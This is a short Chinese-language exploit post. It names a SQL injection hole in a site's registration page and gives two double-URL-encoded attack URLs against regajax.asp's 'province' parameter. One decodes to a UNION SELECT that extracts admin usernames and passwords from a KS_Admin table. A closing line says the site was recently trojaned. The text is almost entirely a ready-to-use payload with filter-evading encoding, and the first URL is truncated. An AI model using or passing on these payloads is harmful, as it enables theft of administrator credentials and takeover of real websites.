漏洞存在于注册页面

ACCESS：

http://www.test.com/user/reg/regajax.asp?action=getcityoption&;province=%2527%2520%2575%256e%2569%256f%256e%2520%2553%2565%256c%2565%2563%2574%2520%2574%256f%2570%2520%2531%2530%2520%2541%

SQL:

http://www.test.com/user/reg/regajax.asp?action=getcityoption&;province=goingta%2527%2520union%2520%2573%2565%256C%2565%2563%2574%25201,username%252B%2527%257C%2527%252Bpassword%2520from%2520KS_Admin%2500

最近被挂马了。